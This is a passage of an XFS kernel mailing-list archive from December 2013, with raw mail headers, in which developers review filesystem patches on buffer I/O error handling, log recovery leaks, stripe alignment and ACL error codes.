text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386935560 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/13 2013 19:14 PM, Christoph Hellwig wrote: >> + * Loop over the new block(s), filling in the inodes. For small block >> + * sizes, manipulate the inodes in buffers which are multiples of the >> + * blocks size. >> */ >> + blks_per_cluster = xfs_icluster_size_fsb(mp); >> + inodes_per_cluster = blks_per_cluster << mp->m_sb.sb_inopblog; >> + nbufs = length / blks_per_cluster; > > I don't think there's a point to have the nbufs variable as it's used > just once as the loop termination condition. Thanks for the review, and that sounds make sense to me given that compiler would mostly likely optimize this situation to calculate nbufs only once in the loop, but I also consider that might affect a bit readabilities in either case... Thanks, -Jeff From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:59:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2E7207F6F for ; Fri, 13 Dec 2013 05:59:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1EC86304059 for ; Fri, 13 Dec 2013 03:58:59 -0800 (PST) X-ASG-Debug-ID: 1386935932-04cbb04166708f20001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id oFHN0y7n7jWafqVt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:58:52 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrRMK-0008W2-TO for xfs@oss.sgi.com; Fri, 13 Dec 2013 11:56:44 +0000 Date: Fri, 13 Dec 2013 03:56:44 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: xattr atomicy Message-ID: <20131213115644.GA28551@infradead.org> X-ASG-Orig-Subj: xattr atomicy MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386935932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On the nfsv4 list it was recently discussed how atomic / transaction xattr updates are. It turns out none of that seems documented on the syscall level, but for XFS we have an odd inconsistancy in that attr updates generally are atomic and logged, except when we go out to remote attributes in xfs_attr_rmtval_set, in which case attr updates are no logged, and we do synchronous writes instead. Besides the weird semantic difference that is impossible to explain to users performance will also generally be bad with a synchronous buffer write. Is there any good reason to not log the buffer for the remote attributes? Given that attribute are limited to 64kB it's not like the value is larger than large directory blocks that we already support. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 06:01:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C3307F75 for ; Fri, 13 Dec 2013 06:01:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 10A79304059 for ; Fri, 13 Dec 2013 04:01:39 -0800 (PST) X-ASG-Debug-ID: 1386936084-04cbb04169709120001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 0sp9PSCq1OCdl4b2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 04:01:24 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrRQp-0001AK-PB; Fri, 13 Dec 2013 12:01:23 +0000 Date: Fri, 13 Dec 2013 04:01:23 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/6] xfs: swalloc doesn't align allocations properly Message-ID: <20131213120123.GA32749@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: swalloc doesn't align allocations properly References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386826478-13846-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386936084 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good. Reviewed-by: Christoph Hellwig Two very minor nitpicks below: > + int stripe_align; > > ASSERT(ap->length); > > mp = ap->ip->i_mount; > + > + /* stripe alignment for allocation is determined by mount parameters */ > + stripe_align = 0; > + if (mp->m_swidth && (mp->m_flags & XFS_MOUNT_SWALLOC)) > + stripe_align = mp->m_swidth; > + else if (mp->m_dalign) > + stripe_align = mp->m_dalign; nipick: I'd either initialize the variable to zero at the point of the declaration or do if .. else if .. else here. > } > + > + > nullfb = *ap->firstblock == NULLFSBLOCK; Two newlines seem odd here. I'd support one even if that's an unrelated change :) From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 06:32:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CCCA27F54 for ; Fri, 13 Dec 2013 06:32:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B7A7A304043 for ; Fri, 13 Dec 2013 04:32:20 -0800 (PST) X-ASG-Debug-ID: 1386937926-04cb6c537b70aae0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id yshp6zvyTBr8witT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 04:32:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrRuX-00007E-RP; Fri, 13 Dec 2013 12:32:05 +0000 Date: Fri, 13 Dec 2013 04:32:05 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve Message-ID: <20131213123205.GA17935@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386826478-13846-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386937932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143065 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 04:34:37PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Fix the double free of the transaction structure introduced by > commit 2a84108 ("xfs: free the list of recovery items on error"). > In the process, make the freeing of the trans structure on error or > completion of processing consistent - i.e. the responsibility of the > the function that detected the error or completes processing. Add > comments to document this behaviour so it can be maintained more > easily in future. I don't really understand why we'd want to push the freeing into more low-level functions. e.g. keeping it in xlog_recover_process_data vs the low-level functions called by it not only reduces the amount of code, but also is way more logical as we lookup trans there, so freeing it seems more logical as well. > + if (trans) > + xlog_recover_free_trans(trans); goto out_free_trans; > if (dp + be32_to_cpu(ohead->oh_len) > lp) { > - xfs_warn(log->l_mp, "%s: bad length 0x%x", > + xfs_warn(log->l_mp, > + "%s: bad transaction opheader length 0x%x", > __func__, be32_to_cpu(ohead->oh_len)); > WARN_ON(1); > - return (XFS_ERROR(EIO)); > + xlog_recover_free_trans(trans); goto out_free_trans; > + /* > + * If there's been an error, the trans structure has > + * already been freed. So there's nothing for us to do > + * but abort the recovery process. > + */ > + if (error) > + return error; To me it seems we'd be better off doing a goto out_free_trans here aswell, then remove the existing call to xlog_recover_free_trans in xlog_recover_commit_trans for the error case, and keep it out of xlog_recover_add_to_trans. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 06:33:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 72E677F54 for ; Fri, 13 Dec 2013 06:33:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 63CDE30406B for ; Fri, 13 Dec 2013 04:33:14 -0800 (PST) X-ASG-Debug-ID: 1386937984-04cbb0416970a0a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id ASwx6JGtkINYZfO2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 04:33:04 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrRvU-00007o-Dn; Fri, 13 Dec 2013 12:33:04 +0000 Date: Fri, 13 Dec 2013 04:33:04 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 6/6] xfs: abort metadata writeback on permanent errors Message-ID: <20131213123304.GB17935@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: abort metadata writeback on permanent errors References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-7-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386826478-13846-7-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386937984 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143065 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 07:05:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4ED247F63 for ; Fri, 13 Dec 2013 07:05:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3EBCE8F806F for ; Fri, 13 Dec 2013 05:05:08 -0800 (PST) X-ASG-Debug-ID: 1386939873-04cb6c537d70bbc0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id gBEOPvtQ8sC8XVaX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 05:04:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrSPw-0006wc-EZ; Fri, 13 Dec 2013 13:04:32 +0000 Date: Fri, 13 Dec 2013 05:04:32 -0800 From: Christoph Hellwig To: Ben Myers Cc: Jeff Liu , Eric Sandeen , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: return ENOSPC when trying to set more ACLs than XFS_ACL_MAX_ENTRIES Message-ID: <20131213130432.GB22594@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: return ENOSPC when trying to set more ACLs than XFS_ACL_MAX_ENTRIES References: <52921D12.7040104@oracle.com> <5292C557.9020008@sandeen.net> <5292D8AB.5080003@oracle.com> <20131211193622.GG1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211193622.GG1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386939873 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143065 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 01:36:22PM -0600, Ben Myers wrote: > > > (I guess looking at ext4, it uses ENOSPC for some similar constraints, > > > so maybe three is precedent for this) > > Btrfs also uses ENOSPC, but JFS would return something like "Argument list too long" > > in this case. I think ENOSPC is a really bad idea in this case, but I also think we should make sure Linux filesystems behave unfiformly. Jeff, can you write a summary of the errors returned by all common filesystems and post it to -fsdevel for comment? We should have a common error for this, and I'd be a happier man if it weren't ENOSPC, but that's secondary. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 07:18:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C557E7F75 for ; Fri, 13 Dec 2013 07:18:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B81C230406B for ; Fri, 13 Dec 2013 05:18:49 -0800 (PST) X-ASG-Debug-ID: 1386939750-04cbb0416870ad30001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Hqo0kS5eQIX7VCFr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 05:02:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrSNy-0006uy-HB; Fri, 13 Dec 2013 13:02:30 +0000 Date: Fri, 13 Dec 2013 05:02:30 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20131213130230.GA22594@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386826478-13846-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386939751 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143065 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I think the real problem here is not nessecarily marking uncached buffers as stale, but marking unlocked buffers as stale. This kinda overlaps because we only really ever do I/O on unlocked buffers if they are uncached too as it would be safe otherwise. I think this is easily fixable by never calling xfsbdstrat on unlocked buffers, and as an extension simply killing xfsbdstrat as it's already fairly useless. The patch below replaces all calls of xfsbdstrat with trivial error handling for the callers that have local uncached buffers, and opencodes it in the one remaining other caller. There's a lot left to be cleaned up in this area, but this seems like the least invasive patch that doesn't cause more of a mess. --- From: Christoph Hellwig Subject: [PATCH] xfs: remove xfsbdstrat The xfsbdstrat helper is a small but useless wrapper for xfs_buf_iorequest that handles the case of a shut down filesystem. Most of the users have private, uncached buffers that can just be freed in this case, but the complex error handling in xfs_bioerror_relse messes up the case when it's called without a locked buffer. Remove xfsbdstrat and opencode the error handling in the callers. All but one can simply return an error and don't need to deal with buffer state, and the one caller that cares about the buffer state could do with a major cleanup as well, but we'll defer that to later. Signed-off-by: Christoph Hellwig diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 5887e41..1394106 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1187,7 +1187,12 @@ xfs_zero_remaining_bytes( XFS_BUF_UNWRITE(bp); XFS_BUF_READ(bp); XFS_BUF_SET_ADDR(bp, xfs_fsb_to_db(ip, imap.br_startblock)); - xfsbdstrat(mp, bp); + + if (XFS_FORCED_SHUTDOWN(mp)) { + error = XFS_ERROR(EIO); + break; + } + xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, @@ -1200,7 +1205,12 @@ xfs_zero_remaining_bytes( XFS_BUF_UNDONE(bp); XFS_BUF_UNREAD(bp); XFS_BUF_WRITE(bp); - xfsbdstrat(mp, bp); + + if (XFS_FORCED_SHUTDOWN(mp)) { + error = XFS_ERROR(EIO); + break; + } + xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index ce01c1a..544315e 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -698,7 +698,11 @@ xfs_buf_read_uncached( bp->b_flags |= XBF_READ; bp->b_ops = ops; - xfsbdstrat(target->bt_mount, bp); + if (XFS_FORCED_SHUTDOWN(target->bt_mount)) { + xfs_buf_relse(bp); + return NULL; + } + xfs_buf_iorequest(bp); xfs_buf_iowait(bp); return bp; } @@ -1089,7 +1093,7 @@ xfs_bioerror( * This is meant for userdata errors; metadata bufs come with * iodone functions attached, so that we can track down errors. */ -STATIC int +int xfs_bioerror_relse( struct xfs_buf *bp) { @@ -1164,25 +1168,6 @@ xfs_bwrite( return error; } -/* - * Wrapper around bdstrat so that we can stop data from going to disk in case - * we are shutting down the filesystem. Typically user data goes thru this - * path; one of the exceptions is the superblock. - */ -void -xfsbdstrat( - struct xfs_mount *mp, - struct xfs_buf *bp) -{ - if (XFS_FORCED_SHUTDOWN(mp)) { - trace_xfs_bdstrat_shut(bp, _RET_IP_); - xfs_bioerror_relse(bp); - return; - } - - xfs_buf_iorequest(bp); -} - STATIC void _xfs_buf_ioend( xfs_buf_t *bp, diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index e656833..7e41b08 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -269,9 +269,6 @@ extern void xfs_buf_unlock(xfs_buf_t *); /* Buffer Read and Write Routines */ extern int xfs_bwrite(struct xfs_buf *bp); - -extern void xfsbdstrat(struct xfs_mount *, struct xfs_buf *); - extern void xfs_buf_ioend(xfs_buf_t *, int); extern void xfs_buf_ioerror(xfs_buf_t *, int); extern void xfs_buf_ioerror_alert(struct xfs_buf *, const char *func); @@ -282,6 +279,8 @@ extern void xfs_buf_iomove(xfs_buf_t *, size_t, size_t, void *, #define xfs_buf_zero(bp, off, len) \ xfs_buf_iomove((bp), (off), (len), NULL, XBRW_ZERO) +extern int xfs_bioerror_relse(struct xfs_buf *); + static inline int xfs_buf_geterror(xfs_buf_t *bp) { return bp ? bp->b_error : ENOMEM; diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 07ab52c..73c1493 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -193,7 +193,10 @@ xlog_bread_noalign( bp->b_io_length = nbblks; bp->b_error = 0; - xfsbdstrat(log->l_mp, bp); + if (XFS_FORCED_SHUTDOWN(log->l_mp)) + return XFS_ERROR(EIO); + + xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) xfs_buf_ioerror_alert(bp, __func__); @@ -4408,7 +4411,11 @@ xlog_do_recover( XFS_BUF_READ(bp); XFS_BUF_UNASYNC(bp); bp->b_ops = &xfs_sb_buf_ops; - xfsbdstrat(log->l_mp, bp); + + if (XFS_FORCED_SHUTDOWN(log->l_mp)) + return XFS_ERROR(EIO); + + xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, __func__); diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c index c035d11..647b6f1 100644 --- a/fs/xfs/xfs_trans_buf.c +++ b/fs/xfs/xfs_trans_buf.c @@ -314,7 +314,18 @@ xfs_trans_read_buf_map( ASSERT(bp->b_iodone == NULL); XFS_BUF_READ(bp); bp->b_ops = ops; - xfsbdstrat(tp->t_mountp, bp); + + /* + * XXX(hch): clean up the error handling here to be less + * of a mess.. + */ + if (XFS_FORCED_SHUTDOWN(mp)) { + trace_xfs_bdstrat_shut(bp, _RET_IP_); + xfs_bioerror_relse(bp); + } else { + xfs_buf_iorequest(bp); + } + error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, __func__); From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 07:23:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3A6517F7E for ; Fri, 13 Dec 2013 07:23:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2A0308F8068 for ; Fri, 13 Dec 2013 05:23:48 -0800 (PST) X-ASG-Debug-ID: 1386941021-04cb6c537e70c850001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id XLnFQ6reoYsXjQSu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 05:23:41 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrSiS-0003ZI-Po; Fri, 13 Dec 2013 13:23:40 +0000 Date: Fri, 13 Dec 2013 05:23:40 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs: dquot refcounting by atomics Message-ID: <20131213132340.GA13689@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: dquot refcounting by atomics References: <1386841258-22183-1-git-send-email-david@fromorbit.com> <1386841258-22183-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386841258-22183-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386941021 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143066 Rule breakdown below pts rule name 